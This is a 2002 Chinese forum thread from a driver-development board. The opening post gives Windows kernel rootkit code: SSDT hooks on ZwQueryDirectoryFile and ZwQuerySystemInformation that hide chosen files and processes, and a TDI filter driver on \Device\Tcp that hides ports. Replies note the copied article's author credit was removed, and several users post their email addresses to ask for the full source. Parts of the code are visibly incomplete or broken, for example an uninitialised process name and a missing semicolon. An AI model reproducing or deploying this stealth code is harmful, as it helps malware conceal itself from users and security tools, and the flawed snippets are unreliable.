流氓兔
驱动老牛
驱动老牛
  • 注册日期2001-06-27
  • 最后登录2005-02-28
  • 粉丝0
  • 关注0
  • 积分1分
  • 威望1点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
阅读:2533回复:7

偶天天看有人问这个问题!

楼主#
更多 发布于:2002-05-12 20:09
             《隐藏任意进程,目录/文件,注册表,端口》

查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,
ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个
SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下
才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals.com 或 WebCrazy 所
写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 \\\\Device\\\\Tcp 与 \\\\Device\\\\Udp。我们可以利
用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到
隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了
充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。
(注册表操作在 RegMon 中写的很详细,这里就不列出了)
 

typedef struct _FILETIME
{
    DWORD dwLowDateTime;
    DWORD dwHighDateTime;
} FILETIME;

typedef struct _DirEntry
{
    DWORD dwLenToNext;
    DWORD dwAttr;
    FILETIME ftCreate, ftLastAccess, ftLastWrite;
    DWORD dwUnknown[ 2 ];
    DWORD dwFileSizeLow;
    DWORD dwFileSizeHigh;
    DWORD dwUnknown2[ 3 ];
    WORD wNameLen;
    WORD wUnknown;
    DWORD dwUnknown3;
    WORD wShortNameLen;
    WCHAR swShortName[ 12 ];
    WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;

struct _SYSTEM_THREADS
{
    LARGE_INTEGER        KernelTime;
    LARGE_INTEGER        UserTime;
    LARGE_INTEGER        CreateTime;
    ULONG                WaitTime;
    PVOID                StartAddress;
    CLIENT_ID            ClientIs;
    KPRIORITY            Priority;
    KPRIORITY            BasePriority;
    ULONG                ContextSwitchCount;
    ULONG                ThreadState;
    KWAIT_REASON         WaitReason;
};

struct _SYSTEM_PROCESSES
{
    ULONG                NextEntryDelta;
    ULONG                ThreadCount;
    ULONG                Reserved[6];
    LARGE_INTEGER        CreateTime;
    LARGE_INTEGER        UserTime;
    LARGE_INTEGER        KernelTime;
    UNICODE_STRING       ProcessName;
    KPRIORITY            BasePriority;
    ULONG                ProcessId;
    ULONG                InheritedFromProcessId;
    ULONG                HandleCount;
    ULONG                Reserved2[2];
    VM_COUNTERS          VmCounters;
    IO_COUNTERS          IoCounters;
    struct _SYSTEM_THREADS Threads[1];
};


// 隐藏目录/文件

NTSTATUS HookZwQueryDirectoryFile(
    IN HANDLE hFile,
    IN HANDLE hEvent OPTIONAL,
    IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
    IN PVOID IoApcContext OPTIONAL,
    OUT PIO_STATUS_BLOCK pIoStatusBlock,
    OUT PVOID FileInformationBuffer,
    IN ULONG FileInformationBufferLength,
    IN FILE_INFORMATION_CLASS FileInfoClass,
    IN BOOLEAN bReturnOnlyOneEntry,
    IN PUNICODE_STRING PathMask OPTIONAL,
    IN BOOLEAN bRestartQuery)
{
    NTSTATUS             rc;
    CHAR                 aProcessName[80];    
    ANSI_STRING          ansiFileName,ansiDirName;
    UNICODE_STRING       uniFileName;
    PP_DIR               ptr;

    WCHAR                ParentDirectory[1024] = {0};
    int                  BytesReturned;
    PVOID                Object;

        
    // 执行旧的ZwQueryDirectoryFile函数
    rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
            hFile,                            
            hEvent,
            IoApcRoutine,
            IoApcContext,
            pIoStatusBlock,
            FileInformationBuffer,
            FileInformationBufferLength,
            FileInfoClass,
            bReturnOnlyOneEntry,
            PathMask,
            bRestartQuery);
 
    if(NT_SUCCESS(rc))
    {
        PDirEntry p;
        PDirEntry pLast;
        BOOL bLastOne;
        int found;        
        p = (PDirEntry)FileInformationBuffer;    // 将查找出来结果赋给结构
        pLast = NULL;
        
        do
        {
            bLastOne = !( p->dwLenToNext );
            RtlInitUnicodeString(&uniFileName,p->suName);
            RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
            RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
            RtlUpperString(&ansiFileName,&ansiDirName);

            found=0;
            
            // 在链表中查找是否包含当前目录
            for(ptr = list_head; ptr != NULL; ptr = ptr->next)
            {
                if (ptr->flag != PTR_HIDEDIR) continue;
                if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
                {
                    found=1;
                    break;
                }
            }//end for

            // 如果链表中包含当前目录,隐藏
            if(found)
            {
                if(bLastOne)
                {
                    if(p == (PDirEntry)FileInformationBuffer )
                    {
                         rc = 0x80000006;    //隐藏
                    }
                    else
                        pLast->dwLenToNext = 0;
                    break;
                }
                else
                {
                    int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
                    int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
                    RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
                    continue;
                }
            }
            pLast = p;
            p = (PDirEntry)((char *)p + p->dwLenToNext );
        }while( !bLastOne );
        RtlFreeAnsiString(&ansiDirName);  
        RtlFreeAnsiString(&ansiFileName);
    }
    return(rc);
}


// 隐藏进程

NTSTATUS HookZwQuerySystemInformation(
    IN ULONG SystemInformationClass,
    IN PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength)
{
    NTSTATUS rc;

    ANSI_STRING process_name,process_uname,process_name1,process_name2;
    BOOL    g_hide_proc = TRUE;
    CHAR    aProcessName[80];
    PP_DIR  ptr;            
    int     found;


    // 执行旧的ZwQuerySystemInformation函数

    rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
        SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength );

    if(NT_SUCCESS(rc ))
    {
        if( g_hide_proc && (5 == SystemInformationClass))
        {
            // 将查找出来结果赋给结构
            struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            struct _SYSTEM_PROCESSES *prev = NULL;

            // 遍历进程
            while(curr)
            {  

                if((0 < process_name.Length) && (255 > process_name.Length))
                {
                    found=0;
                    // 遍历链表
                    for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
                    {  
                        if (ptr->flag != PTR_HIDEPROC) continue ;
                        
                        if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
{
found =1;
}
                    }

                    // 判断如果是隐藏进程名则覆盖掉此进程名
                    while(found)
                    {

                        if(prev)
                        {
                            if(curr->NextEntryDelta)
                            {
                                prev->NextEntryDelta += curr->NextEntryDelta;
                            }
                            else
                            {
                                prev->NextEntryDelta = 0;
                            }
}
else
                        {
                            if(curr->NextEntryDelta)
                            {
                                (char *)SystemInformation += curr->NextEntryDelta;
                            }
                            else
                            {
                                SystemInformation = NULL;
                            }
                        }

if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
else
{
curr = NULL;break;
}
// 遍历链表
found = 0;
for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
{  
if (ptr->flag != PTR_HIDEPROC) continue ;

if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
{
found = 1;
}
}
}
}
if(curr != NULL)
{
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
        }
    }
    return(rc);
}



//隐藏端口

     PDEVICE_OBJECT    m_TcpgetDevice;

     PDEVICE_OBJECT    TcpDevice;
     UNICODE_STRING    TcpDeviceName;
     PDRIVER_OBJECT    TcpDriver;
     PDEVICE_OBJECT    TcpgetDevice;
     PDEVICE_OBJECT    FilterDevice
     PDRIVER_DISPATCH  Empty;
     NTSTATUS          status;

     Empty = DriverObject->MajorFunction[IRP_MJ_CREATE];
    
     RtlInitUnicodeString( &TcpDeviceName, L\"\\\\Device\\\\Tcp\");

     //得到已有的设备指针

     status = IoGetDeviceObjectPointer( &TcpDeviceName,
                                        FILE_ALL_ACCESS,
                       &FileObject,
                                        &TcpDevice
                                      );


    if(!NT_SUCCESS(status))
     {
        DbgPrint(\"IoGetDeviceObjectPointer error!\\n\");
        return status;
     }

    DbgPrint(\"IoGetDeviceObjectPointer ok!\\n\");
  
    // 建立设备  
    status = IoCreateDevice( DriverObject,
                             sizeof(DEVICE_EXTENSION),
                             NULL,
                             FILE_DEVICE_UNKNOWN,
                             0,
                             FALSE,
                             &FilterDevice
                           );
    if(!NT_SUCCESS(status))
    {
        return status;
    }

    // 加入设备

    TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);

    if(!TcpgetDevice)
    {
         IoDeleteDevice(FilterDevice);
DbgPrint(\"IoAttachDeviceToDeviceStack error!\\n\");
         return STATUS_SUCCESS;
    }

    m_TcpgetDevice = TcpgetDevice;
  
   // 加到过滤函数中处理
   for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
   {
       if((TcpDriver->MajorFunction!=Empty)&&(DriverObject->MajorFunction==Empty))
       {
           DriverObject->MajorFunction = PassThrough;
 
       }
   }

   ObDereferenceObject(FileObject);


NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{

       NTSTATUS                    status;
       PIO_STACK_LOCATION          pIrpStack;

       pIrpStack = IoGetCurrentIrpStackLocation( Irp );


       //如是查询则完成 IRP
       if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)
       {
            //这里可以近一步判断某个端口

            Irp->IoStatus.Status=STATUS_SUCCESS;
            IoCompleteRequest(Irp,IO_NO_INCREMENT);
            return STATUS_SUCCESS;
       }

      //复制当前 IRP
      IoCopyCurrentIrpStackLocationToNext(Irp);
  
      IoSetCompletionRoutine( Irp,
                              GenericCompletion,
                              NULL,
                              TRUE,
                     TRUE,
                     TRUE
                   );

      //传递
      return IoCallDriver( m_TcpgetDevice, Irp);

}

最新喜欢:

ljmmaryljmmar... zackaryzackar...
我是流氓!!!我怕谁!!! 不!!应该是我是老流氓!!!我怕谁!!![img]http://202.98.116.70:888/cgi-bin/newmov/bbs/attachment.cgi?forum=4&topic=25473&postno=1&type=.jpg[/img]
5141
驱动牛犊
驱动牛犊
  • 注册日期2001-12-10
  • 最后登录2007-09-25
  • 粉丝0
  • 关注0
  • 积分10分
  • 威望1点
  • 贡献值0点
  • 好评度1点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2002-05-13 15:29
转载文章也不必把作者信息去掉吧?

Author : sinister
Email : sinister@whitecell.org
HomePage: http://www.whitecell.org
arthurtu
驱动巨牛
驱动巨牛
  • 注册日期2001-11-08
  • 最后登录2020-12-19
  • 粉丝0
  • 关注0
  • 积分26分
  • 威望161点
  • 贡献值0点
  • 好评度35点
  • 原创分0分
  • 专家分0分
  • 社区居民
板凳#
发布于:2002-05-13 15:32
呵呵,killhs掉大了。
guardee
驱动巨牛
驱动巨牛
  • 注册日期2002-11-08
  • 最后登录2010-05-29
  • 粉丝2
  • 关注1
  • 积分2分
  • 威望34点
  • 贡献值0点
  • 好评度6点
  • 原创分0分
  • 专家分0分
地板#
发布于:2002-05-13 20:57
KILLHS压缩一下,在传上来,我要
stevend
驱动牛犊
驱动牛犊
  • 注册日期2002-02-21
  • 最后登录2003-03-25
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
地下室#
发布于:2002-05-20 18:45
killhs:
    能不能将这方面的内容整理一下,传给我? 先谢了。
    steven_du@163.com
yuanyuan
驱动大牛
驱动大牛
  • 注册日期2003-01-15
  • 最后登录2010-08-04
  • 粉丝0
  • 关注0
  • 积分1025分
  • 威望300点
  • 贡献值0点
  • 好评度232点
  • 原创分0分
  • 专家分0分
5楼#
发布于:2003-02-16 12:54
能发给我完整的代码吗?smhp@163.net谢谢!
chufuxuan
驱动牛犊
驱动牛犊
  • 注册日期2003-01-09
  • 最后登录2016-01-07
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
6楼#
发布于:2003-02-16 17:31
老大,能不能把源代码寄给我一份。我的信箱是chufuxuan@263.net。
还有,关于SYSCALL 表的部分,在哪儿能找到资料?
guard2002
驱动中牛
驱动中牛
  • 注册日期2002-05-21
  • 最后登录2017-03-07
  • 粉丝0
  • 关注0
  • 积分46分
  • 威望65点
  • 贡献值0点
  • 好评度4点
  • 原创分0分
  • 专家分0分
  • 社区居民
7楼#
发布于:2003-02-18 16:59
上传一份吧
游客

返回顶部